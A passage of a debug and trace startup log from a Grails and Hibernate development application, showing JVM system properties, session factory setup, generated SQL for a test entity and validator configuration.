nt-antlr-1.10.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-groovydoc/3.0.11/8faadefbe0df0430ef99c5b55b19d524bcf16862/groovy-groovydoc-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/2.2/3f2bd07716a31c395e2837254f37f21f0f0ab24b/hamcrest-core-2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.ysb33r.gradle/grolifant/0.11/462c324739259e0dc1208b7695ebd62099cea337/grolifant-0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.multiverse/multiverse-core/0.7.0/db77d55199bc5672f05f5d725b70dd10033251ed/multiverse-core-0.7.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.jsr166-mirror/jsr166y/1.7.0/8547fcb1c29b4f8c745c3f49a536aca58fc30f54/jsr166y-1.7.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.el/javax.el-api/3.0.1-b06/9c4c2400f2d8e35c62d636c13012e1f68c370a00/javax.el-api-3.0.1-b06.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.sun.xml.bind/jaxb-impl/2.3.1/a1a12b85ba1435b4189e065f7dafcc3fb9410d38/jaxb-impl-2.3.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.xml.bind/jakarta.xml.bind-api/2.3.3/48e3b9cfc10752fba3521d6511f4165bea951801/jakarta.xml.bind-api-2.3.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.glassfish.jaxb/txw2/2.3.8/66e0297f1196f0d15a776e699de1b8e6ac5d44dd/txw2-2.3.8.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.sun.istack/istack-commons-runtime/3.0.12/cbbe1a62b0cc6c85972e99d52aaee350153dc530/istack-commons-runtime-3.0.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.sun.activation/jakarta.activation/1.2.2/74548703f9851017ce2f556066659438019e7eb5/jakarta.activation-1.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.reactivestreams/reactive-streams/1.0.4/3864a1320d97d7b045f729a326e1e077661f31b7/reactive-streams-1.0.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-fileupload/commons-fileupload/1.5/ad4ad2ab2961b4e1891472bd1a33fabefb0385f3/commons-fileupload-1.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/opensymphony/sitemesh/2.4.2/4cb3b08c96553b0f4595a80917838ca302f67f3f/sitemesh-2.4.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.glassfish/javax.el/3.0.1-b12/2a54bfce52f758c27fa8e6dfd2ce5b4fcad2ebf6/javax.el-3.0.1-b12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest/2.2/1820c0968dba3a11a1b30669bb1f01978a91dedc/hamcrest-2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.tukaani/xz/1.6/5b6f921f1810bdf90e25471968f741f87168b64/xz-1.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-utils/3.2.1/13b015768e0d04849d2794e4c47eb02d01a0de32/plexus-utils-3.2.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-codec/commons-codec/1.15/49d94806b6e3dc933dacbd8acb0fdbab8ebd1e5d/commons-codec-1.15.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-io/commons-io/2.11.0/a2503f302b11ebde7ebc3df41daebe0e4eea3689/commons-io-2.11.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-validator/commons-validator/1.7/76069c915de3787f3ddd8726a56f47a95bfcbb0e/commons-validator-1.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-collections/commons-collections/3.2.2/8ad72fe39fa8c91eaaf12aadb21e0c3661fe26d5/commons-collections-3.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.google.javascript/closure-compiler-unshaded/v20210106/17228972a09fb6e9bef19b57c8bf3e946364e04f/closure-compiler-unshaded-v20210106.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.mozilla/rhino/1.7R4/e982f2136574b9a423186fbaeaaa98dc3e5a5288/rhino-1.7R4.jar, grails.env.initializing=true, java.vm.vendor=Eclipse Adoptium, sun.arch.data.model=64, info.app.version=0.1, user.variant=, java.vendor.url=https://adoptium.net/, user.timezone=Asia/Taipei, org.jboss.logging.provider=slf4j, java.vm.specification.version=17, os.name=Linux, hibernate.use_query_cache=false, user.country=US, sun.java.launcher=SUN_STANDARD, sun.boot.library.path=/usr/local/lib/jvm/jdk-17.0.8.1+1/lib, sun.java.command=pollo.grails.db.aop.Application, jdk.debug=release, hibernate.entity_dirtiness_strategy=org.grails.orm.hibernate.dirty.GrailsEntityDirtinessStrategy, sun.cpu.endian=little, user.home=/home/jameschang, javax.persistence.validation.factory=org.grails.datastore.gorm.validation.javax.JavaxValidatorRegistry@639c010e, user.language=en, java.specification.vendor=Oracle Corporation, java.version.date=2023-08-24, java.home=/usr/local/lib/jvm/jdk-17.0.8.1+1, spring.profiles.active=, spring.output.ansi.enabled=always, file.separator=/, org.grails.MAIN_CLASS_NAME=pollo.grails.db.aop.Application, java.vm.compressedOopsMode=32-bit, line.separator= , java.vm.specification.vendor=Oracle Corporation, java.specification.name=Java Platform API Specification, FILE_LOG_CHARSET=UTF-8, java.awt.headless=true, management.endpoints.shutdown.enabled=true, hibernate.hbm2ddl.auto=none, hibernate.cache.queries=false, info.app.name=pollo-grails-db-aop, sun.management.compiler=HotSpot 64-Bit Tiered Compilers, java.runtime.version=17.0.8.1+1, user.name=jameschang, hibernate.cache.use_query_cache=false, path.separator=:, os.version=5.10.0-28-amd64, java.runtime.name=OpenJDK Runtime Environment, file.encoding=UTF-8, spring.beaninfo.ignore=true, java.vm.name=OpenJDK 64-Bit Server VM, hibernate.show_sql=true, hibernate.classLoaders=org.springframework.boot.devtools.restart.classloader.RestartClassLoader@584f4664, java.vendor.version=Temurin-17.0.8.1+1, hibernate.current_session_context_class=org.grails.orm.hibernate.GrailsSessionContext, full.stacktrace=false, micronaut.classloader.logging=true, java.vendor.url.bug=https://github.com/adoptium/adoptium-support/issues, java.io.tmpdir=/tmp, java.version=17.0.8.1, hibernate.naming_strategy=org.hibernate.cfg.ImprovedNamingStrategy, grails.env=development, user.dir=/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop, os.arch=amd64, java.vm.specification.name=Java Virtual Machine Specification, PID=55213, info.app.grailsVersion=5.3.6, env=development, grails.env.standalone=true, CONSOLE_LOG_CHARSET=UTF-8, verbose=false, hibernate.boot.CfgXmlAccessService.key=org.hibernate.boot.cfgxml.spi.LoadedConfig@69b5d4e1, native.encoding=UTF-8, hibernate.cache.use_second_level_cache=false, java.library.path=/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib, java.vendor=Eclipse Adoptium, java.vm.info=mixed mode, emulated-client, sharing, java.vm.version=17.0.8.1+1, hibernate.bytecode.use_reflection_optimizer=false, sun.io.unicode.encoding=UnicodeLittle, hibernate.connection.datasource=org.springframework.jdbc.datasource.TransactionAwareDataSourceProxy@1fc7bda3, grails.full.stacktrace=false, java.class.version=61.0} 2024-04-16 15:26:44.521 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.query.spi.NativeQueryInterpreter] 2024-04-16 15:26:44.525 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : Not known whether passed class name [work.pollochang.Test1] is safe 2024-04-16 15:26:44.525 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : No temp ClassLoader provided; using live ClassLoader for loading potentially unsafe class : work.pollochang.Test1 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] org.hibernate.secure.spi.JaccIntegrator : Skipping JACC integration as it was not enabled 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultSaveEventListener@79a7762b`] 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultSaveEventListener@79a7762b`] 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultPreLoadEventListener@659b9af6`] 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultPreLoadEventListener@659b9af6`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultPostLoadEventListener@4be97993`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultPostLoadEventListener@4be97993`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostInsertEventListenerStandardImpl@50825ea`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostInsertEventListenerStandardImpl@50825ea`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostUpdateEventListenerStandardImpl@3c7d5397`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostUpdateEventListenerStandardImpl@3c7d5397`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostDeleteEventListenerStandardImpl@3c58806a`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostDeleteEventListenerStandardImpl@3c58806a`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.hibernate.internal.SessionFactoryImpl : Instantiated session factory 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.type.spi.TypeConfiguration$Scope : Scoping TypeConfiguration [org.hibernate.type.spi.TypeConfiguration@55e7045a] to SessionFactoryImpl [org.hibernate.internal.SessionFactoryImpl@3484f907] 2024-04-16 15:26:44.558 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.persister.spi.PersisterFactory] 2024-04-16 15:26:44.558 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.persister.spi.PersisterClassResolver] 2024-04-16 15:26:44.565 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.property.access.spi.PropertyAccessStrategyResolver] 2024-04-16 15:26:44.579 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : Not known whether passed class name [work.pollochang.Test1] is safe 2024-04-16 15:26:44.579 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : No temp ClassLoader provided; using live ClassLoader for loading potentially unsafe class : work.pollochang.Test1 2024-04-16 15:26:44.580 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.bytecode.spi.ProxyFactoryFactory] 2024-04-16 15:26:44.691 TRACE --- [ restartedMain] o.h.p.entity.AbstractPropertyMapping : Skipping duplicate registration of path [col1], existing type = [org.hibernate.type.IntegerType@2037059f], incoming type = [org.hibernate.type.IntegerType@2037059f] 2024-04-16 15:26:44.691 TRACE --- [ restartedMain] o.h.p.entity.AbstractPropertyMapping : Skipping duplicate registration of path [id], existing type = [org.hibernate.type.LongType@65f033bd], incoming type = [org.hibernate.type.LongType@65f033bd] 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Static SQL for entity: work.pollochang.Test1 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Version select: select id from test1 where id =? 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Snapshot select: select test1x_.id, test1x_.col1 as col2_0_ from test1 test1x_ where test1x_.id=? 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Insert 0: insert into test1 (col1, id) values (?, ?) 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Update 0: update test1 set col1=? where id=? 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Delete 0: delete from test1 where id=? 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Identity insert: insert into test1 (col1) values (?) 2024-04-16 15:26:44.703 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Starting root entity : work.pollochang.Test1 2024-04-16 15:26:44.704 DEBUG --- [ restartedMain] o.h.l.p.b.i.spaces.QuerySpacesImpl : Adding QuerySpace : uid = \u0026lt;gen:0\u0026gt; -\u0026gt; org.hibernate.loader.plan.build.internal.spaces.EntityQuerySpaceImpl@33d2467] 2024-04-16 15:26:44.704 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Pushing fetch source to stack : org.hibernate.loader.plan.build.internal.returns.EntityReturnImpl@2cb76baf 2024-04-16 15:26:44.704 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : .. Registering AssociationKey : AssociationKey(table=test1, columns={id}) -\u0026gt; org.hibernate.loader.plan.build.internal.returns.EntityReturnImpl@2cb76baf 2024-04-16 15:26:44.704 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : \u0026gt;\u0026gt; Starting entity identifier : work.pollochang.Test1 2024-04-16 15:26:44.705 DEBUG --- [ restartedMain] o.h.p.walking.spi.MetamodelGraphWalker : Visiting attribute path : col1 2024-04-16 15:26:44.705 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : \u0026gt;\u0026gt; Starting attribute Attribute(name=col1, type=integer [non-identifier]) 2024-04-16 15:26:44.705 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : \u0026lt;\u0026lt; Finishing up attribute : Attribute(name=col1, type=integer [non-identifier]) 2024-04-16 15:26:44.705 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Popped fetch owner from stack : org.hibernate.loader.plan.build.internal.returns.EntityReturnImpl@2cb76baf 2024-04-16 15:26:44.705 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Finished root entity : work.pollochang.Test1 2024-04-16 15:26:44.705 DEBUG --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Building LoadPlan... 2024-04-16 15:26:44.726 DEBUG --- [ restartedMain] h.l.p.e.i.LoadQueryJoinAndFetchProcessor : processing queryspace \u0026lt;gen:0\u0026gt; 2024-04-16 15:26:44.727 DEBUG --- [ restartedMain] o.h.l.p.build.spi.LoadPlanTreePrinter : LoadPlan(entity=work.pollochang.Test1) - Returns - EntityReturnImpl(entity=work.pollochang.Test1, querySpaceUid=\u0026lt;gen:0\u0026gt;, path=work.pollochang.Test1) - QuerySpaces - EntityQuerySpaceImpl(uid=\u0026lt;gen:0\u0026gt;, entity=work.pollochang.Test1) - SQL table alias mapping - test1x0_ - alias suffix - 0_ - suffixed key columns - {id1_0_0_} 2024-04-16 15:26:44.728 DEBUG --- [ restartedMain] o.h.loader.entity.plan.EntityLoader : Static select for entity work.pollochang.Test1 [NONE]: select test1x0_.id as id1_0_0_, test1x0_.col1 as col2_0_0_ from test1 test1x0_ where test1x0_.id=? 2024-04-16 15:26:44.732 TRACE --- [ restartedMain] o.h.metamodel.internal.MetadataContext : Wrapping up metadata context... 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.MetadataContext : Starting entity [work.pollochang.Test1] 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Building identifier attribute [Test1.id] 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Starting attribute metadata determination [id] 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Determined member [java.lang.Long work.pollochang.Test1.id] 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Determined type [name=long, class=org.hibernate.type.LongType] 2024-04-16 15:26:44.735 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Building attribute [Test1.col1] 2024-04-16 15:26:44.735 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Starting attribute metadata determination [col1] 2024-04-16 15:26:44.735 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Determined member [private int work.pollochang.Test1.col1] 2024-04-16 15:26:44.735 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Determined type [name=integer, class=org.hibernate.type.IntegerType] 2024-04-16 15:26:44.736 TRACE --- [ restartedMain] o.h.metamodel.internal.MetadataContext : Completed entity [work.pollochang.Test1] 2024-04-16 15:26:44.737 DEBUG --- [ restartedMain] .h.t.s.s.SchemaManagementToolCoordinator : No schema actions specified 2024-04-16 15:26:44.737 DEBUG --- [ restartedMain] .h.t.s.s.SchemaManagementToolCoordinator : No actions specified; doing nothing 2024-04-16 15:26:44.737 DEBUG --- [ restartedMain] o.h.query.spi.NamedQueryRepository : Checking 0 named HQL queries 2024-04-16 15:26:44.737 DEBUG --- [ restartedMain] o.h.query.spi.NamedQueryRepository : Checking 0 named SQL queries 2024-04-16 15:26:44.738 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.738 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] 2024-04-16 15:26:44.740 TRACE --- [ restartedMain] o.h.type.spi.TypeConfiguration$Scope : Handling #sessionFactoryCreated from [org.hibernate.internal.SessionFactoryImpl@3484f907] for TypeConfiguration 2024-04-16 15:26:44.741 DEBUG --- [ restartedMain] o.h.internal.SessionFactoryRegistry : Initializing SessionFactoryRegistry : org.hibernate.internal.SessionFactoryRegistry@39e72e71 2024-04-16 15:26:44.741 DEBUG --- [ restartedMain] o.h.internal.SessionFactoryRegistry : Registering SessionFactory: ccfb49d5-4084-4546-bc92-f59037d09368 (\u0026lt;unnamed\u0026gt;) 2024-04-16 15:26:44.741 DEBUG --- [ restartedMain] o.h.internal.SessionFactoryRegistry : Not binding SessionFactory to JNDI, no JNDI name configured 2024-04-16 15:26:44.754 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom TraversableResolver of type org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver 2024-04-16 15:26:44.754 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:44.754 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator 2024-04-16 15:26:44.754 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : HV000002: Ignoring XML configuration. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom TraversableResolver of type org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : HV000002: Ignoring XML configuration. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom TraversableResolver of type org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : HV000002: Ignoring XML configuration. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:45.172 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.springframework.validation.beanvalidation.LocaleContextMessageInterpolator 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ParameterNameProvider of type 